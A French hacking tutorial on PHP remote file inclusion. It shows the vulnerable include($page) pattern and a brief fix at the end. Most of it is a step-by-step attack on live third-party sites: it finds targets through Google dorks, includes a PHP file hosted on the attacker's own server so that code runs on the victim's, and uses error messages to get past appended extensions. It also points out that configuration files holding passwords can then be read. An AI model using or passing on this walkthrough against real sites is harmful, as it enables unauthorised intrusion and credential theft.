Faille include

1) Description : La faille include d’un site fait en php et du à un manque de vigilance du webmaster qui a créé ce site. En effet, il y a faille lorsque la fonction php include() est donnée avec comme paramètre (nom d’un fichier) une variable :

Code:
<?
include("$page");
?>

Cette fonction est utilisée dans la plupart des cas pour inclure du texte dans les cadres d’un site, souvent dans l’index, le nom de la page à inclure est donné lors d’un clic sur un lien, on verra alors dans la barre d’adresse du navigateur :

http://www.le_site.net/index.php?page=contact.htm

Ici la page à inclure est la page contact.htm
La page contact est ici en htm, mais elle peut être en n’importe quel format (txt, php, …)

2) Trouver un site présentant cette faille :
Rien de plus simple, faire appel à notre allié google avec comme mot de recherche
index.php?page=
ou index.php?url=
etc… différent nom de variable sont à tester.

3) Tester l’existence de cette faille :
Voilà, vous venez de faire votre recherche sur google, vous avez plein de sites, vous voulez maintenant savoir si ce site peut être hacké par cette faille.
Premier test, tenter d’inclure google dans la page, allez sur le site, et rajoutez à l’url :
(toujours avec la variable $page, mais si vous avez une autre, adaptez en conséquence)

http://www.le_site.net/index.php?page=h … google.com

Faites entrer, et si vous voyez google s’afficher dans le site c’est qu’il y a de grande chance que la faille soit exploitable.
Continuons avec Google qui s’est affiché, on verra après les différents moyens de protection à contourner.
Maintenant, nous allons exécuter du code php sur le server grâce à cette faille. Car la fonction include() exécute tout code php se trouvant sur la page inclu comme si la page était partie intégrante du fichier d’origine.
Ouvrez un compte avec hébergement (ex: free) pour héberger la page que vous allez créer.
Dans le fichier que l’on va nommer faille.txt, écrivez ce code php qui aurait comme but d’afficher une alerte en script confirmant qu’il y a bien le faille :

Code:
<?
echo "<script>alert('faille présente')</script>";
?>

echo » »; est une fonction php d’affichage (de la source de la page que vous voyez à l’écran)

Enregistrez votre fichier et uploadez le sur votre hébergement.
Retournez sur le site en question et testons la faille en prenant comme exemple un hébergement chez free :

http://www.le_site.net/index.php?page=h … faille.txt

L’affichage du message d’alerte « faille présente » vous confirme la présence de la faille.
Vous pouvez à partir de là afficher la source des pages php (intéressant pour les pages de configuration avec mdp) créer des pages, en supprimer, enfin tous ce que le langage php sait faire.

A partir du moment où vous avez confirmation de la faille, envoyez un mail au webmaster, qui ne manquera pas de vous remerciez pour votre geste de sympathie.
Sachez que dépassé le stade de l’affichage du message d’alerte et légale interdit, il y a alors pénétration dans un système avec les peines qui vont avec. Les webmasters peuvent vous retrouvez assez facilement si vous êtes imprudent.

4) Le test avec google n’a pas marché :
Ou la page d’accueil s’est affichée correctement : il n’y a rien à faire, le webmaster connait sont boulot, ou vous avez eu un message d’erreur qu’il est alors utile de décoder :
exemple de message d’erreur :

Code:
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/le_site/index.php on line 23 Warning: Failed opening 'http://www.google.com.inc.php' for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php on line 23

On comprend ici les raison de cette erreur, nous voyons que le code a essayé d’inclure http://www.google.com.inc.php
(faille opening) Comme ce n’est pas nous qui avons mis .inc.php à la fin de l’adresse, cela a été rajouté par le script.
En donnant l’adresse de notre fichier faille.txt, il se serait passé la meme chose car il aurait voulu inclure faille.txt.inc.php
Pour contourner ceci, nous allons renommer notre fichier faille.txt en faille.inc.php et nous donnerons comme adresse
http://www.le_site.net/index.php?page=h … .fr/faille
attention : sans les extensions car elles seront rajoutées par le script.
le script inclura faille + .inc.php
et bingo!

Cette exemple marche sous un hébergement n’acceptant pas le php, si vous hébergez avec Free avec le php activé, la page faille.inc.php sera executée sur free et non pas sur le server de destination. Pensez-y.
2eme message d’erreur possible :

Code:
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/le_site/index.php on line 23 Warning: Failed opening '/mes_pages/http://www.google.com' for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php on line 23

Nous constatons ici que le script inclue les pages du dossier mes_pages nous ne pouvons donc pas spécifier d’adresse extérieure.
Après ces bases, vous devez bien connaitre le langage php pour contourner d’autres protections et étendre la possibilité d’action à partir de cette faille.

5) Sécuriser la fonction include sur notre site :
2 sécurités simples à additionner suffisent :
remplacez

Code:
<?
include("$page");
?>

par :

Code:
<?
if(file_exists("notre_dossier/$page.htm"))include("notre_dossier/$page.htm");
else{
include("notre_dossier/accueil.htm"); }
?>

Nous vérifions l’existence du fichier dans notre dossier, nous l’incluons si il existe, à défaut nous affichons la page d’accueil.
Le hacker ne voit pas de message d’erreur, donc ne connait pas la protection à contourner.